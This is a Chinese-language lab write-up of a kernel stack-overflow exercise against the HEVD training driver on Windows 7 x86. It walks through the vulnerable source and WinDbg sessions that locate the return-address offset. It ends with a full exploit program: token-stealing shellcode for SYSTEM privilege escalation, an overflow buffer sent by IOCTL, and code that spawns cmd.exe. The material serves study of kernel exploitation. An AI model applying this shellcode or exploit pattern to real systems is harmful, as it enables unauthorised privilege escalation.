0x00: 前言
在上一节中,将HEVD的环境配置完成,接下来进行内核漏洞的调试复现。为什么首先做栈溢出呢,因为我以前学过一些Pwn知识,栈溢出算是最简单的漏洞了。使用的环境为:
- Windows7 x86 虚拟机系统
- 双机调试环境
- HEVD靶场环境
0x01:漏洞原理
栈溢出原理
栈溢出,即在局部变量拷贝时,没有控制好拷贝进局部变量的长度。而局部变量又是保存在栈中的,一旦长度过长,就会导致数据溢出淹没栈环境,覆盖EBP甚至返回地址。
HEVD漏洞原理分析
给出实验漏洞代码。这里安全和不安全的操作都对比给出了,区别就在于一个按照内核局部变量的大小规定拷贝数据大小,一个直接按照用户层给定的size来决定拷贝的大小,后者显然是不安全的。
NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
NTSTATUS Status = STATUS_SUCCESS;
ULONG KernelBuffer[BUFFER_SIZE] = {0};
PAGED_CODE();
__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
#ifdef SECURE
//安全的拷贝
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Stack Overflow\n");
//不安全的拷贝
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
0x02:漏洞分析
通过在IDA中分析分发函数,可以看到该漏洞对应的IOCTL码为0x222003
在IDA中[编译]-[段]-[重新设置基址]可以修改基址,这样就可以找到我们想要下断的地点。这里的基址可以在WinDbg里查看。
kd> lm m H*
Browse full module list
start end module name
8421f000 84256000 hal (deferred)
88a63000 88a6b000 hwpolicy (deferred)
8aa00000 8aa85000 HTTP (deferred)
8ab49000 8ab51000 HEVD (private pdb symbols)
在函数 TriggerStackOverflow 函数入口处和memcpy处下断点。
kd> bu 8ab4d62a
kd> bu 8ab4d6b9
接下来就开始进行调试观察,首先断在程序的入口处。可以看到返回地址为 8ab4d718,ebp为8b607ad0
Breakpoint 0 hit
HEVD!TriggerStackOverflow:
8ab4d62a 680c080000 push 80Ch
kd> k //查看线程信息
# ChildEBP RetAddr
00 8b607ad0 8ab4d718 HEVD!TriggerStackOverflow
继续执行断在memcpy前
kd> g
Breakpoint 1 hit
HEVD!TriggerStackOverflow+0x8f:
8ab4d6b9 e81ccbffff call HEVD!memcpy (8ab4a1da)
kd> dd esp //查看当前堆栈,结合IDA中汇编代码可以知道这里 8b6072b4 即为 buffer
8b607274 8b6072b4 00360a58 00000824 8ab4e5be
8b607284 8ab4e31a 00000800 8ab4e338 8b6072b4
8b607294 8ab4e3a2 00000824 8ab4e3be 00360a58
8b6072a4 01d4b2cd 875e5148 875e51b8 8ab4eda2
8b6072b4 00000000 00000000 00000000 00000000
8b6072c4 00000000 00000000 00000000 00000000
8b6072d4 00000000 00000000 00000000 00000000
8b6072e4 00000000 00000000 00000000 00000000
kd> dd 8b6072b4+0x7f0 //查看buffer末尾,看出buffer长度为0x800
8b607aa4 00000000 00000000 00000000 00000000
8b607ab4 8ab4eda2 8b6072a4 00000000 8b607bc0
8b607ac4 8ab4a080 000079c5 00000000 8b607ae0
8b607ad4 0edddcdb 00360a58 00000824 8b607afc
8b607ae4 8ab4e185 875e5148 875e51b8 87bd2458
8b607af4 87cf2148 00000000 8b607b14 83e44593
8b607b04 87cf2148 875e5148 875e5148 87cf2148
8b607b14 8b607b34 8403899f 87bd2458 875e5148
kd> k //结合下面 得到当前ebp和返回地址,因此可以看出 buffer距离返回地址的长度为0x820
# ChildEBP RetAddr
00 8b607ad0 0edddcdb HEVD!TriggerStackOverflow+0x8f
kd> r
eax=8b6072b4 ebx=8ab4eda2 ecx=00360a58 edx=00000065 esi=00000800 edi=00000000
eip=8ab4d6b9 esp=8b607274 ebp=8b607ad0 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
HEVD!TriggerStackOverflow+0x8f:
8ab4d6b9 e81ccbffff call HEVD!memcpy (8ab4a1da)
通过上述的分析,我们得到了buffer距离返回地址的偏移值为0x820;接下来就是通过填充,将返回地址淹没为我们自己的地址。
kd> dd 8b6072b4+0x7f0 //查看buffer,可以看到都被填充了,返回地址被修改为0x1333060
8b607aa4 41414141 41414141 41414141 41414141
8b607ab4 41414141 41414141 41414141 41414141
8b607ac4 41414141 41414141 41414141 41414141
8b607ad4 01333060 00360a58 00000824 8b607afc
8b607ae4 8ab4e185 875e5148 875e51b8 87bd2458
8b607af4 87cf2148 00000000 8b607b14 83e44593
8b607b04 87cf2148 875e5148 875e5148 87cf2148
8b607b14 8b607b34 8403899f 87bd2458 875e5148
kd> r
eax=8b6072b4 ebx=8ab4eda2 ecx=00000000 edx=00000000 esi=00000800 edi=00000000
eip=8ab4d6c1 esp=8b6072a4 ebp=8b607ad0 iopl=0 nv up ei ng nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000282
HEVD!TriggerStackOverflow+0x97:
8ab4d6c1 eb21 jmp HEVD!TriggerStackOverflow+0xba (8ab4d6e4)
kd> k
# ChildEBP RetAddr
00 8b607ad0 01333060 HEVD!TriggerStackOverflow+0x97
0x3:漏洞利用
虽然项目里有有利用代码,但是这里还是给一下别人写的完整的利用代码。后面再补充学习一下提权的知识。
#include<stdio.h>
#include<windows.h>
#define STACKOVERFLOW 0x222003
/************************************************************************/
/* Stack Over flow */
/* Write by Thunder_J 2019.6 */
/************************************************************************/
VOID ShellCode()
{
//__debugbreak();
__asm
{
pop edi
pop esi
pop ebx
pushad
mov eax, fs:[124h]
mov eax, [eax + 050h]
mov ecx, eax
mov edx, 4
find_sys_pid :
mov eax, [eax + 0b8h]
sub eax, 0b8h
cmp[eax + 0b4h], edx
jnz find_sys_pid
mov edx, [eax + 0f8h]
mov[ecx + 0f8h], edx
popad
pop ebp
ret 8
}
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
int main()
{
char buf[0x824];
HANDLE hDevice;
DWORD bReturn = 0;
//»ñÈ¡¾ä±ú
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL
);
printf("Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
printf("Failed to get handle...!\n");
return 0;
}
//__debugbreak();
memset(buf, 'A', 0x824);
*(PDWORD)(buf + 0x820) = (DWORD)&ShellCode;
// call TriggerStackOverflow()
printf("Started to over flow...\n");
//__debugbreak();
DeviceIoControl(hDevice, STACKOVERFLOW, buf, 0x824,NULL,0,&bReturn,NULL);
printf("Started to Create cmd...\n");
CreateCmd();
return 0;
}
明日计划
继续学习内核漏洞